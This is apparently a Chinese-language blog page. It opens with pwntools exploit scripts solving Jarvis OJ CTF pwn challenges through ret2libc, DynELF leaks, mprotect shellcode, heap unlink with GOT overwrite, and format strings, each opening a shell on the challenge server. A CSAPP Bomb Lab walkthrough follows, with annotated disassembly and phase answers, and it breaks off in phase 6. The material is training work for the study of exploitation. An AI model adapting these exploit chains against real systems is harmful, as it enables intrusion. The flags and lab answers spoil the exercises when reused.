     #print(hex(leak_addr))
       
     libc_base = leak_addr - write_libc
     binsh = binsh_libc + libc_base
     system = sys_libc + libc_base
       
     payload2 = padding + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(0)
     r.recvuntil('Input:\n')
     r.sendline(payload2)
     r.interactive()
     #CTF{b1aeaa97fdcc4122533290b73765e4fd}
    
  • [XMAN]level4

    23

    24

    栈溢出,ret2libc

    先通过write搞到system地址,没给出libc那就用DynELF

    搞到地址之后再次溢出,先调用read在bss段写入/bin/sh,返回到system执行

     from pwn import *
     r = remote('pwn2.jarvisoj.com', 9880)
     elf = ELF('./level4')
     padding = 'a' * (0x88 + 0x4)
     write_addr = elf.plt['write']
     main_addr = elf.symbols['main']
     read_addr = elf.plt['read']
       
     def leak(addr):
     	payload = padding
     	payload += p32(write_addr)
     	payload += p32(main_addr)
     	payload += p32(1) + p32(addr) + p32(4)
     	r.sendline(payload)
     	leak_addr = r.recv(4)
     	return leak_addr
       
     d = DynELF(leak,elf = ELF('./level4'))
     system_addr = d.lookup('system','libc')
     print(hex(system_addr))
       
     bss_addr = elf.bss()
     payload1 = padding
     payload1 += p32(read_addr)
     payload1 += p32(system_addr)
     payload1 += p32(0) + p32(bss_addr) + p32(8)
     payload1 += p32(bss_addr)
       
     r.sendline(payload1)
     r.sendline('/bin/sh\0')
     r.interactive()
     #CTF{882130cf51d65fb705440b218e94e98e}
    
  • [XMAN]level5

    假设system和execve函数被禁用

     //mprotect() 
     #include <unistd.h>
     #include <sys/mmap.h>
     int mprotect(const void *start, size_t len, int prot);
       
     /*
     把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
     */
    

    先通过write泄露libc,然后调用mprotect()把bss段权限设为可读可写可执行(7),再调用read()在bss段写入shellcode,返回到bss段执行shellcode

     from pwn import *
     import sys
     r = remote('pwn2.jarvisoj.com', 9884)
     elf = ELF('./level3_x64')
     libc = ELF('./libc-2.19.so')
     context.binary = "./level3_x64"
       
     shellcode = asm(shellcraft.sh())
     padding = 'a' * (0x80 + 0x8)
     pwn_addr = 0x4005E6
       
     write_plt = elf.plt['write']
     write_got = elf.got['write']
     write_libc =  libc.symbols['write']
       
     read_plt = elf.plt['read']
       
     mprotect_libc = libc.symbols['mprotect']
       
     pop_rdi_ret = 0x4006b3
     pop_rsi_p_r_ret = 0x4006b1
       
     payload = padding
     payload += p64(pop_rdi_ret) + p64(1)
     payload += p64(pop_rsi_p_r_ret) + p64(write_got) + p64(8)
     payload += p64(write_plt)
     payload += p64(pwn_addr)
       
       
     r.recvuntil('Input:\n')
     r.sendline(payload)
     leak_addr = u64(r.recv(8))
       
     libc_base = leak_addr - write_libc
     mprotect = libc_base + libc.symbols['mprotect']
     pop_rsi = libc_base + 0x24885
     pop_rdx = libc_base + 0x1B8E
       
       
     payload2 = padding + p64(pop_rdi_ret)
     payload2 += p64(0x600000) + p64(pop_rsi)
     payload2 += p64(0x10000) + p64(pop_rdx)
     payload2 += p64(7) + p64(mprotect) + p64(pwn_addr)
     r.recvuntil('Input:\n')
     r.sendline(payload2)
       
     bss = elf.bss()
       
     payload3 = padding + p64(pop_rdi_ret)
     payload3 += p64(0) + p64(pop_rsi)
     payload3 += p64(bss) + p64(pop_rdx)
     payload3 += p64(0x100) + p64(read_plt) + p64(bss)
     r.recvuntil('Input:\n')
     r.sendline(payload3)
     r.send(shellcode)
       
     r.interactive()
       
    
  • Guestbooks2

    chunk0储存chunk指针

    1. free chunk4、chunk2,此时chunk2的fd指向chunk4
    2. edit chunk1,覆盖到chunk2的fd前,list可获得chunk4地址
    3. unlink
    4. 泄露libc
    5. 改atoi的got,getshell
     from pwn import *
     context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
     #r = remote('pwn.jarvisoj.com',9879)
     #context.log_level = "debug"
     r = process(['./guestbook2'],env = {"LD_PRELOAD":"./libc.so.6"})
     elf = ELF('./guestbook2')
     libc = ELF('./libc.so.6')
       
     def list():
     	r.sendlineafter('Your choice:','1')
       
     def new(post):
     	r.sendlineafter('Your choice:','2')
     	r.sendlineafter('Length of new post:',str(len(post)))
     	r.sendlineafter('Enter your post:',post)
       
     def edit(index, post):
     	r.sendlineafter('Your choice:','3')
     	r.sendlineafter('Post number:',str(index))
     	r.sendlineafter('Length of post:',str(len(post)))
     	r.sendlineafter('Enter your post:',post)
       
     def delete(index):
     	r.sendlineafter('Your choice:','4')
     	r.sendlineafter('Post number:',str(index))
       
     for i in range(10):
     	new('f**k')
       
     #leak heap
     delete(3)
     delete(1)
     padding = 'f**k' * ((0x80 + 0x10)/4)
     edit(0, padding)
     list()
     r.recvuntil(padding)
     chunk3 = u64(r.recvuntil("\x0a", drop = True).ljust(8, '\x00'))
     heap_base = chunk3 - 6176 - 0x90 * 3
     chunk0 = heap_base + 0x30
     print(heap_base)
     print(chunk0)
     #unlink
     payload = p64(0x90) + p64(0x80) + p64(chunk0 - 0x18) + p64(chunk0 - 0x10)
     payload += 'f**k' * ((0x80 - 4 * 8)/4)
     payload += p64(0x80) + p64(0x90) + 'f**k' * (0x70/4)
     edit(0, payload)
     delete(1)
     gdb.attach(r)
     #leak libc
     payload = p64(2) + p64(1) + p64(0x100) + p64(chunk0 - 0x18)
     payload += p64(1) + p64(0x8) + p64(elf.got["atoi"])
     payload = payload.ljust(0x100, '\x00')
     edit(0, payload)
     list()
     #gdb.attach(r)
     r.recvuntil("0. ")
     r.recvuntil("1. ")
     libc.address = u64(r.recvuntil("\x0a", drop = True).ljust(8, '\x00')) - libc.sym["atoi"]
     #get shell
     edit(1, p64(libc.sym['system']))
     r.sendlineafter("choice: ", "/bin/sh")
     r.interactive()
       
    
  • [Xman]level6_x64

     from pwn import *
     context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
     r = remote('pwn2.jarvisoj.com',9886)
     #context.log_level = "debug"
     #r = process(['./freenote_x64'],env = {"LD_PRELOAD":"./libc-2.19.so"})
     elf = ELF('./freenote_x64')
     libc = ELF('./libc-2.19.so')
       
     def list():
     	r.sendlineafter('Your choice:','1')
       
     def new(note):
     	r.sendlineafter('Your choice:','2')
     	r.sendlineafter('Length of new note:',str(len(note)))
     	r.sendlineafter('Enter your note:',note)
       
     def edit(index, note):
     	r.sendlineafter('Your choice:','3')
     	r.sendlineafter('Note number:',str(index))
     	r.sendlineafter('Length of note:',str(len(note)))
     	r.sendlineafter('Enter your note:',note)
       
     def delete(index):
     	r.sendlineafter('Your choice:','4')
     	r.sendlineafter('Note number:',str(index))
       
       
     for i in range(10):
     	new('f**k')
       
     #leak heap
     delete(3)
     delete(1)
     padding = 'f**k' * ((0x80 + 0x10)/4)
     edit(0, padding)
     list()
     r.recvuntil(padding)
     chunk3 = u64(r.recvuntil("\x0a", drop = True).ljust(8, '\x00'))
     heap_base = chunk3 - 6176 - 0x90 * 3
     chunk0 = heap_base + 0x30
     print(heap_base)
     print(chunk0)
     #gdb.attach(r)
     #unlink
     payload = p64(0x90) + p64(0x80) + p64(chunk0 - 0x18) + p64(chunk0 - 0x10)
     payload += 'f**k' * ((0x80 - 4 * 8)/4)
     payload += p64(0x80) + p64(0x90) + 'f**k' * (0x70/4)
     edit(0, payload)
     #gdb.attach(r)
     delete(1)
     #leak libc
     #gdb.attach(r)
     payload = p64(2) + p64(1) + p64(0x100) + p64(chunk0 - 0x18)
     payload += p64(1) + p64(0x8) + p64(elf.got["atoi"])
     payload = payload.ljust(0x100, '\x00')
     edit(0, payload)
     list()
     #gdb.attach(r)
     r.recvuntil("0. ")
     r.recvuntil("1. ")
     libc.address = u64(r.recvuntil("\x0a", drop = True).ljust(8, '\x00')) - libc.sym["atoi"]
     #get shell
     edit(1, p64(libc.sym['system']))
     r.sendlineafter("choice: ", "/bin/sh")
     r.interactive()
       
    
  • [61dctf]fm

     from pwn import *
     r = remote('pwn2.jarvisoj.com',9895)
     fuck = fmtstr_payload(11,{0x804A02C:4})
     print(fuck)
     r.sendline(fuck)
     r.interactive()
    
  • Typo

     from pwn import *
     r = remote('pwn2.jarvisoj.com',9888)
     elf = ELF("typo")
     system = 0x110b4
     binsh = 0x6c384
     pop_r0_r4_pc = 0x20904
     payload = 'a'*0x70+p32(pop_r0_r4_pc)+p32(binsh)+p32(0)+p32(system)
     r.sendline('')
     r.sendline(payload)
     r.interactive()
    
  • jarvisoj_calc.exe

     from pwn import *
     r = remote('pwn2.jarvisoj.com',9892)
     payload = 'var add = \"'+asm(shellcraft.sh())+'\"'
     r.recvuntil('>')
     r.sendline(payload)
     r.sendline('+')
     r.interactive()
    
>

CSAPP-Bomb Lab

2019年1月26日 08:00

CSAPP-Bomb Lab

刚看到这东西有个大胆的想法,直接IDA pro F5

我就是饿死,死外面,从这跳下去,也不会用IDA pro

  • phase_1

    08048b20 <phase_1>:
     8048b20:	55                   	push   %ebp
     8048b21:	89 e5                	mov    %esp,%ebp
     8048b23:	83 ec 08             	sub    $0x8,%esp
     8048b26:	8b 45 08             	mov    0x8(%ebp),%eax
     8048b29:	83 c4 f8             	add    $0xfffffff8,%esp
     8048b2c:	68 c0 97 04 08       	push   $0x80497c0
     8048b31:	50                   	push   %eax
     8048b32:	e8 f9 04 00 00       	call   8049030 <strings_not_equal>
     #比较0x80497c0对应的字符串和输入的字符串
     8048b37:	83 c4 10             	add    $0x10,%esp
     8048b3a:	85 c0                	test   %eax,%eax
     #相等跳转8048b43
     8048b3c:	74 05                	je     8048b43 <phase_1+0x23>
     #不相等爆炸
     8048b3e:	e8 b9 09 00 00       	call   80494fc <explode_bomb>
     8048b43:	89 ec                	mov    %ebp,%esp
     8048b45:	5d                   	pop    %ebp
     8048b46:	c3                   	ret    
     8048b47:	90                   	nop
    

    strings_not_equal判断字符串是否相等的函数,前面两个push是这个函数的传入实参,查看0x80497c0Public speaking is very easy.,eax应该是输入的字符串。

    就是炸了 如果相等跳转到8048b43,不相等调用爆炸。 答案是``Public speaking is very easy.``
  • phase_2

    08048b48 <phase_2>:
     8048b48:	55                   	push   %ebp
     8048b49:	89 e5                	mov    %esp,%ebp
     8048b4b:	83 ec 20             	sub    $0x20,%esp
     8048b4e:	56                   	push   %esi
     8048b4f:	53                   	push   %ebx
     8048b50:	8b 55 08             	mov    0x8(%ebp),%edx
     8048b53:	83 c4 f8             	add    $0xfffffff8,%esp
     8048b56:	8d 45 e8             	lea    -0x18(%ebp),%eax
     8048b59:	50                   	push   %eax
     8048b5a:	52                   	push   %edx
     8048b5b:	e8 78 04 00 00       	call   8048fd8 <read_six_numbers>
     #读取六个数字
     #-0x18(%ebp)a[0],-0x14(%ebp)a[1],-0x10(%ebp)a[2],-0xC(%ebp)a[3],-0x8(%ebp)a[4],-0x4(%ebp)a[5]
     8048b60:	83 c4 10             	add    $0x10,%esp
     8048b63:	83 7d e8 01          	cmpl   $0x1,-0x18(%ebp)
     #a[1]和1比较
     8048b67:	74 05                	je     8048b6e <phase_2+0x26>
     #等于1跳转到8048b6e
     8048b69:	e8 8e 09 00 00       	call   80494fc <explode_bomb>
     #不是1爆炸
     8048b6e:	bb 01 00 00 00       	mov    $0x1,%ebx
     #ebx=1
     8048b73:	8d 75 e8             	lea    -0x18(%ebp),%esi
     8048b76:	8d 43 01             	lea    0x1(%ebx),%eax
     #esi=a[1],eax=ebx+1
     8048b79:	0f af 44 9e fc       	imul   -0x4(%esi,%ebx,4),%eax
     #eax=eax*[(esi+ebx*4)-0x4]
     8048b7e:	39 04 9e             	cmp    %eax,(%esi,%ebx,4)
     #比较eax和(esi+ebx*4)
     8048b81:	74 05                	je     8048b88 <phase_2+0x40>
     #相等继续循环
     8048b83:	e8 74 09 00 00       	call   80494fc <explode_bomb>
     #不相等爆炸
     8048b88:	43                   	inc    %ebx
     8048b89:	83 fb 05             	cmp    $0x5,%ebx
     8048b8c:	7e e8                	jle    8048b76 <phase_2+0x2e>
     #ebx=5时跳出循环,每次循环ebx+1
     8048b8e:	8d 65 d8             	lea    -0x28(%ebp),%esp
     8048b91:	5b                   	pop    %ebx
     8048b92:	5e                   	pop    %esi
     8048b93:	89 ec                	mov    %ebp,%esp
     8048b95:	5d                   	pop    %ebp
     8048b96:	c3                   	ret    
     8048b97:	90                   	nop
    

    输入六个数字,先判断第一个数字是否为1,然后开始循环

    for(i=1;i<=5;i++)
    {
        if(a[i]!=a[i-1]*(i+1))
            explode_bomb();
    }
    

    答案为1 2 6 24 120 720

  • phase_3

    08048b98 <phase_3>:
     8048b98:	55                   	push   %ebp
     8048b99:	89 e5                	mov    %esp,%ebp
     8048b9b:	83 ec 14             	sub    $0x14,%esp
     8048b9e:	53                   	push   %ebx
     8048b9f:	8b 55 08             	mov    0x8(%ebp),%edx
     8048ba2:	83 c4 f4             	add    $0xfffffff4,%esp
     8048ba5:	8d 45 fc             	lea    -0x4(%ebp),%eax
     8048ba8:	50                   	push   %eax
     8048ba9:	8d 45 fb             	lea    -0x5(%ebp),%eax
     8048bac:	50                   	push   %eax
     8048bad:	8d 45 f4             	lea    -0xc(%ebp),%eax
     8048bb0:	50                   	push   %eax
     8048bb1:	68 de 97 04 08       	push   $0x80497de
     8048bb6:	52                   	push   %edx
     8048bb7:	e8 a4 fc ff ff       	call   8048860 <sscanf@plt>
     8048bbc:	83 c4 20             	add    $0x20,%esp
     8048bbf:	83 f8 02             	cmp    $0x2,%eax
     #eax是sscanf的返回值,和2比较,小于等于2爆炸,正确输入%d %c %d返回3,跳转到8048bc9
     #-0xc(%ebp)是第一个数字,-0x5(%ebp)是字母,-0x4(%ebp)是第二个数字
     8048bc2:	7f 05                	jg     8048bc9 <phase_3+0x31>
     8048bc4:	e8 33 09 00 00       	call   80494fc <explode_bomb>
     8048bc9:	83 7d f4 07          	cmpl   $0x7,-0xc(%ebp)
     #输入的第一个数字和7比较,大于7跳到8048c88爆炸
     8048bcd:	0f 87 b5 00 00 00    	ja     8048c88 <phase_3+0xf0>
     8048bd3:	8b 45 f4             	mov    -0xc(%ebp),%eax
     8048bd6:	ff 24 85 e8 97 04 08 	jmp    *0x80497e8(,%eax,4)
     8048bdd:	8d 76 00             	lea    0x0(%esi),%esi
     8048be0:	b3 71                	mov    $0x71,%bl
     #bl=0x71
     8048be2:	81 7d fc 09 03 00 00 	cmpl   $0x309,-0x4(%ebp)
     #第二个数字和309比较
     8048be9:	0f 84 a0 00 00 00    	je     8048c8f <phase_3+0xf7>
     #相等跳转到8048c8f比较第二个字母,不相等爆炸
     8048bef:	e8 08 09 00 00       	call   80494fc <explode_bomb>
     8048bf4:	e9 96 00 00 00       	jmp    8048c8f <phase_3+0xf7>
     8048bf9:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
     8048c00:	b3 62                	mov    $0x62,%bl
     8048c02:	81 7d fc d6 00 00 00 	cmpl   $0xd6,-0x4(%ebp)
     8048c09:	0f 84 80 00 00 00    	je     8048c8f <phase_3+0xf7>
     8048c0f:	e8 e8 08 00 00       	call   80494fc <explode_bomb>
     8048c14:	eb 79                	jmp    8048c8f <phase_3+0xf7>
     8048c16:	b3 62                	mov    $0x62,%bl
     8048c18:	81 7d fc f3 02 00 00 	cmpl   $0x2f3,-0x4(%ebp)
     8048c1f:	74 6e                	je     8048c8f <phase_3+0xf7>
     8048c21:	e8 d6 08 00 00       	call   80494fc <explode_bomb>
     8048c26:	eb 67                	jmp    8048c8f <phase_3+0xf7>
     8048c28:	b3 6b                	mov    $0x6b,%bl
     8048c2a:	81 7d fc fb 00 00 00 	cmpl   $0xfb,-0x4(%ebp)
     8048c31:	74 5c                	je     8048c8f <phase_3+0xf7>
     8048c33:	e8 c4 08 00 00       	call   80494fc <explode_bomb>
     8048c38:	eb 55                	jmp    8048c8f <phase_3+0xf7>
     8048c3a:	8d b6 00 00 00 00    	lea    0x0(%esi),%esi
     8048c40:	b3 6f                	mov    $0x6f,%bl
     8048c42:	81 7d fc a0 00 00 00 	cmpl   $0xa0,-0x4(%ebp)
     8048c49:	74 44                	je     8048c8f <phase_3+0xf7>
     8048c4b:	e8 ac 08 00 00       	call   80494fc <explode_bomb>
     8048c50:	eb 3d                	jmp    8048c8f <phase_3+0xf7>
     8048c52:	b3 74                	mov    $0x74,%bl
     8048c54:	81 7d fc ca 01 00 00 	cmpl   $0x1ca,-0x4(%ebp)
     8048c5b:	74 32                	je     8048c8f <phase_3+0xf7>
     8048c5d:	e8 9a 08 00 00       	call   80494fc <explode_bomb>
     8048c62:	eb 2b                	jmp    8048c8f <phase_3+0xf7>
     8048c64:	b3 76                	mov    $0x76,%bl
     8048c66:	81 7d fc 0c 03 00 00 	cmpl   $0x30c,-0x4(%ebp)
     8048c6d:	74 20                	je     8048c8f <phase_3+0xf7>
     8048c6f:	e8 88 08 00 00       	call   80494fc <explode_bomb>
     8048c74:	eb 19                	jmp    8048c8f <phase_3+0xf7>
     8048c76:	b3 62                	mov    $0x62,%bl
     8048c78:	81 7d fc 0c 02 00 00 	cmpl   $0x20c,-0x4(%ebp)
     8048c7f:	74 0e                	je     8048c8f <phase_3+0xf7>
     8048c81:	e8 76 08 00 00       	call   80494fc <explode_bomb>
     8048c86:	eb 07                	jmp    8048c8f <phase_3+0xf7>
     8048c88:	b3 78                	mov    $0x78,%bl
     8048c8a:	e8 6d 08 00 00       	call   80494fc <explode_bomb>
     8048c8f:	3a 5d fb             	cmp    -0x5(%ebp),%bl
     #输入的字母的ascii码和bl比较
     8048c92:	74 05                	je     8048c99 <phase_3+0x101>
     #不相等爆炸
     8048c94:	e8 63 08 00 00       	call   80494fc <explode_bomb>
     8048c99:	8b 5d e8             	mov    -0x18(%ebp),%ebx
     8048c9c:	89 ec                	mov    %ebp,%esp
     8048c9e:	5d                   	pop    %ebp
     8048c9f:	c3                   	ret    
    

    调用了sscanf,先看一眼0x80497de

    %d %c %d应输入”数字 字母 数字“

    8048bc9后一堆cmpl je看着像switch语句

    答案

                     
    第一个数字 0 1 2 3 4 5 6 7
    字母 q b b k o t v b
    第二个数字 777 214 755 251 160 458 780 524
  • phase_4

    08048ce0 <phase_4>:
     8048ce0:	55                   	push   %ebp
     8048ce1:	89 e5                	mov    %esp,%ebp
     8048ce3:	83 ec 18             	sub    $0x18,%esp
     8048ce6:	8b 55 08             	mov    0x8(%ebp),%edx
     8048ce9:	83 c4 fc             	add    $0xfffffffc,%esp
     8048cec:	8d 45 fc             	lea    -0x4(%ebp),%eax
     8048cef:	50                   	push   %eax
     8048cf0:	68 08 98 04 08       	push   $0x8049808
     8048cf5:	52                   	push   %edx
     8048cf6:	e8 65 fb ff ff       	call   8048860 <sscanf@plt>
     8048cfb:	83 c4 10             	add    $0x10,%esp
     8048cfe:	83 f8 01             	cmp    $0x1,%eax
     #eax是sscanf的返回值,正确输入返回1,如果eax不是1跳转到8048d09爆炸
     8048d01:	75 06                	jne    8048d09 <phase_4+0x29>
     8048d03:	83 7d fc 00          	cmpl   $0x0,-0x4(%ebp)
     #输入的数字和0比较,小于等于0爆炸
     8048d07:	7f 05                	jg     8048d0e <phase_4+0x2e>
     8048d09:	e8 ee 07 00 00       	call   80494fc <explode_bomb>
     8048d0e:	83 c4 f4             	add    $0xfffffff4,%esp
     8048d11:	8b 45 fc             	mov    -0x4(%ebp),%eax
     #eax=-0x4(%ebp),eax是func4的传入实参
     8048d14:	50                   	push   %eax
     8048d15:	e8 86 ff ff ff       	call   8048ca0 <func4>
     8048d1a:	83 c4 10             	add    $0x10,%esp
     8048d1d:	83 f8 37             	cmp    $0x37,%eax
     #eax是func4的返回值,eax!=0x37爆炸
     8048d20:	74 05                	je     8048d27 <phase_4+0x47>
     8048d22:	e8 d5 07 00 00       	call   80494fc <explode_bomb>
     8048d27:	89 ec                	mov    %ebp,%esp
     8048d29:	5d                   	pop    %ebp
     8048d2a:	c3                   	ret    
     8048d2b:	90                   	nop
    

    还是调用sscanf,看一眼0x8049808

    %d应输入一个数字

    调用了func4,看一眼

    8048ca0 <func4>:
     8048ca0:	55                   	push   %ebp
     8048ca1:	89 e5                	mov    %esp,%ebp
     8048ca3:	83 ec 10             	sub    $0x10,%esp
     8048ca6:	56                   	push   %esi
     8048ca7:	53                   	push   %ebx
     8048ca8:	8b 5d 08             	mov    0x8(%ebp),%ebx
     8048cab:	83 fb 01             	cmp    $0x1,%ebx
     #ebx和1比较,小于等于1跳转到8048cd0
     8048cae:	7e 20                	jle    8048cd0 <func4+0x30>
     8048cb0:	83 c4 f4             	add    $0xfffffff4,%esp
     8048cb3:	8d 43 ff             	lea    -0x1(%ebx),%eax
     #eax=ebx-1
     8048cb6:	50                   	push   %eax
     8048cb7:	e8 e4 ff ff ff       	call   8048ca0 <func4>
     8048cbc:	89 c6                	mov    %eax,%esi
     #esi=eax
     8048cbe:	83 c4 f4             	add    $0xfffffff4,%esp
     8048cc1:	8d 43 fe             	lea    -0x2(%ebx),%eax
     #eax=abx-2
     8048cc4:	50                   	push   %eax
     8048cc5:	e8 d6 ff ff ff       	call   8048ca0 <func4>
     8048cca:	01 f0                	add    %esi,%eax
     #eax=esi+eax
     8048ccc:	eb 07                	jmp    8048cd5 <func4+0x35>
     8048cce:	89 f6                	mov    %esi,%esi
     8048cd0:	b8 01 00 00 00       	mov    $0x1,%eax
     #eax=1,如果ebx==1,func4返回1
     8048cd5:	8d 65 e8             	lea    -0x18(%ebp),%esp
     8048cd8:	5b                   	pop    %ebx
     8048cd9:	5e                   	pop    %esi
     8048cda:	89 ec                	mov    %ebp,%esp
     8048cdc:	5d                   	pop    %ebp
     8048cdd:	c3                   	ret    
     8048cde:	89 f6                	mov    %esi,%esi
    

    func4里call func4,这玩意是个递归

    int func4(int x)
    {
        if(x <= 1)
            return 1;
        else
            return func4(x - 1) + func4(x - 2);
    }
    

    暴力破解一波

    #include<stdio.h>
    int func4(int x)
    {
        if(x <= 1)
            return 1;
        else
            return func4(x - 1) + func4(x - 2);
    }
      
    int main()
    {
    	int a = 0,i = 0;
    	while(a != 55)
    	{
    		i++;
    		a = func4(i);
    	}
    	printf("%d",i);
    } 
    

    答案是9

  • phase_5

    08048d2c <phase_5>:
     8048d2c:	55                   	push   %ebp
     8048d2d:	89 e5                	mov    %esp,%ebp
     8048d2f:	83 ec 10             	sub    $0x10,%esp
     8048d32:	56                   	push   %esi
     8048d33:	53                   	push   %ebx
     8048d34:	8b 5d 08             	mov    0x8(%ebp),%ebx
     8048d37:	83 c4 f4             	add    $0xfffffff4,%esp
     8048d3a:	53                   	push   %ebx
     8048d3b:	e8 d8 02 00 00       	call   8049018 <string_length>
     8048d40:	83 c4 10             	add    $0x10,%esp
     8048d43:	83 f8 06             	cmp    $0x6,%eax
     #输入一个字符串,长度和6比较,不是6爆炸,ebx是输入的字符串
     8048d46:	74 05                	je     8048d4d <phase_5+0x21>
     8048d48:	e8 af 07 00 00       	call   80494fc <explode_bomb>
       
     8048d4d:	31 d2                	xor    %edx,%edx
     #edx=0
     8048d4f:	8d 4d f8             	lea    -0x8(%ebp),%ecx
     8048d52:	be 20 b2 04 08       	mov    $0x804b220,%esi
     #esi是isrveawhobpnutfg
     8048d57:	8a 04 1a             	mov    (%edx,%ebx,1),%al
     #al=edx+ebx*1
     8048d5a:	24 0f                	and    $0xf,%al
     #al=al & 0xf
     8048d5c:	0f be c0             	movsbl %al,%eax
     #eax=al
     8048d5f:	8a 04 30             	mov    (%eax,%esi,1),%al
     #al=eax+esi*1
     8048d62:	88 04 0a             	mov    %al,(%edx,%ecx,1)
     #edx+ecx*1=al
     8048d65:	42                   	inc    %edx
     #edx=edx+1
     8048d66:	83 fa 05             	cmp    $0x5,%edx
     #edx<=5继续循环
     8048d69:	7e ec                	jle    8048d57 <phase_5+0x2b>
       
     8048d6b:	c6 45 fe 00          	movb   $0x0,-0x2(%ebp)
     8048d6f:	83 c4 f8             	add    $0xfffffff8,%esp
       
     8048d72:	68 0b 98 04 08       	push   $0x804980b
     8048d77:	8d 45 f8             	lea    -0x8(%ebp),%eax
     8048d7a:	50                   	push   %eax
     8048d7b:	e8 b0 02 00 00       	call   8049030 <strings_not_equal>
     8048d80:	83 c4 10             	add    $0x10,%esp
     8048d83:	85 c0                	test   %eax,%eax
     8048d85:	74 05                	je     8048d8c <phase_5+0x60>
     8048d87:	e8 70 07 00 00       	call   80494fc <explode_bomb>
     8048d8c:	8d 65 e8             	lea    -0x18(%ebp),%esp
     8048d8f:	5b                   	pop    %ebx
     8048d90:	5e                   	pop    %esi
     8048d91:	89 ec                	mov    %ebp,%esp
     8048d93:	5d                   	pop    %ebp
     8048d94:	c3                   	ret    
     8048d95:	8d 76 00             	lea    0x0(%esi),%esi
    

    循环开始之前取出0x804b220到esi,0x804b220是isrveawhobpnutfg

    最后调用了strings_not_equal,看一眼804980b

    giants

    循环后得到的字符串和giants比较

    char a[7],b[17]='isrveawhobpnutfg',c[5]
    for(i=0;i<=5;i++)
    {
        int x=(int)(c[i]&0xf);
        a[i]=b[x];
    }
    

    &0xf后应为0x0f 0x00 0x05 0x0b 0x0d 0x01

    高四位随便改,低四位不动,可以得到多组答案

    其中一组为opukma

  • phase_6

    08048d98 <phase_6>:
     8048d98:	55                   	push   %ebp
     8048d99:	89 e5                	mov    %esp,%ebp
     8048d9b:	83 ec 4c             	sub    $0x4c,%esp
     8048d9e:	57                   	push   %edi
     8048d9f:	56                   	push   %esi
     8048da0:	53                   	push   %ebx
     8048da1:	8b 55 08             	mov    0x8(%ebp),%edx
     8048da4:	c7 45 cc 6c b2 04 08 	movl   $0x804b26c,-0x34(%ebp)
     8048dab:	83 c4 f8             	add    $0xfffffff8,%esp
     8048dae:	8d 45 e8             	lea    -0x18(%ebp),%eax
     8048db1:	50                   	push   %eax
     8048db2:	52                   	push   %edx
     8048db3:	e8 20 02 00 00       	call   8048fd8 <read_six_numbers>
     #输入六个数字,-0x18(%ebp)是首地址
     8048db8:	31 ff                	xor    %edi,%edi
     #edi=0
     8048dba:	83 c4 10             	add    $0x10,%esp
     8048dbd:	8d 76 00             	lea    0x0(%esi),%esi
     8048dc0:	8d 45 e8             	lea    -0x18(%ebp),%eax
     #eax是数组首地址
     8048dc3:	8b 04 b8             	mov    (%eax,%edi,4),%eax
     #eax=eax+adi*4
     8048dc6:	48                   	dec    %eax
     #eax=eax-1
     8048dc7:	83 f8 05             	cmp    $0x5,%eax
     #eax和5比较,大于5爆炸
     8048dca:	76 05                	jbe    8048dd1 <phase_6+0x39>
     8048dcc:	e8 2b 07 00 00       	call   80494fc <explode_bomb>
       
     8048dd1:	8d 5f 01             	lea    0x1(%edi),%ebx
     #ebx=edi+1
       
     8048dd4:	83 fb 05             	cmp    $0x5,%ebx
     8048dd7:	7f 23                	jg     8048dfc <phase_6+0x64>
     #ebx和5比较小于等于5跳转到8048dfc
     8048dd9:	8d 04 bd 00 00 00 00 	lea    0x0(,%edi,4),%eax
     8048de0:	89 45 c8             	mov    %eax,-0x38(%ebp)
     #-0x38(%ebp)=eax
     8048de3:	8d 75 e8             	lea    -0x18(%ebp),%esi
     #esi是输入数组的首地址
     8048de6:	8b 55 c8             	mov    -0x38(%ebp),%edx
     #edx=-0x38(%ebp)
     8048de9:	8b 04 32             	mov    (%edx,%esi,1),%eax
     8048dec:	3b 04 9e             	cmp    (%esi,%ebx,4),%eax
     8048def:	75 05                	jne    8048df6 <phase_6+0x5e>
     8048df1:	e8 06 07 00 00       	call   80494fc <explode_bomb>
     #edx+esi*1!=esi+ebx*4跳转到8048df6,相等爆炸
     8048df6:	43                   	inc    %ebx
     #ebx=ebx+1
     8048df7:	83 fb 05             	cmp    $0x5,%ebx
     8048dfa:	7e ea                	jle    8048de6 <phase_6+0x4e>
     8048dfc:	47                   	inc    %edi
     8048dfd:	83 ff 05             	cmp    $0x5,%edi
     8048e00:	7e be                	jle    8048dc0 <phase_6+0x28>
     #第一个循环结束
     8048e02:	31 ff                	xor    %edi,%edi
     #edi=0
     8048e04:	8d 4d e8             	lea    -0x18(%ebp),%ecx
     #ecx是数组首地址
     8048e07:	8d 45 d0             	lea    -0x30(%ebp),%eax
     #eax是地址-0x30(%ebp)
     8048e0a:	89 45 c4             	mov    %eax,-0x3c(%ebp)
     8048e0d:	8d 76 00             	lea    0x0(%esi),%esi
     8048e10:	8b 75 cc             	mov    -0x34(%ebp),%esi
     #esi=-0x34(%ebp)
     8048e13:	bb 01 00 00 00       	mov    $0x1,%ebx
     #ebx=1
     8048e18:	8d 04 bd 00 00 00 00 	lea    0x0(,%edi,4),%eax
     #eax=edi*4
     8048e1f:	89 c2                	mov    %eax,%edx
     #edx=eax
     8048e21:	3b 1c 08             	cmp    (%eax,%ecx,1),%ebx
     8048e24:	7d 12                	jge    8048e38 <phase_6+0xa0>
     #ebx小于eax+ecx*1进入循环
     8048e26:	8b 04 0a             	mov    (%edx,%ecx,1),%eax
     8048e29:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
     8048e30:	8b 76 08             	mov    0x8(%esi),%esi
     #esi=esi+0x8
     8048e33:	43                   	inc    %ebx
     #ebx=ebx+1
     8048e34:	39 c3                	cmp    %eax,%ebx
     8048e36:	7c f8                	jl     8048e30 <phase_6+0x98>
     #ebx小于eax继续循环
     8048e38:	8b 55 c4             	mov    -0x3c(%ebp),%edx
     #edx=-0x3c(%ebp)
     8048e3b:	89 34 ba             	mov    %esi,(%edx,%edi,4)
     #edx+edi*4=esi
     8048e3e:	47                   	inc    %edi
     8048e3f:	83 ff 05             	cmp    $0x5,%edi
     8048e42:	7e cc                	jle    8048e10 <phase_6+0x78>
     #edi小于等于5继续循环
     8048e44:	8b 75 d0             	mov    -0x30(%ebp),%esi
     8048e47:	89 75 cc             	mov    %esi,-0x34(%ebp)
     8048e4a:	bf 01 00 00 00       	mov    $0x1,%edi
     #edi=1
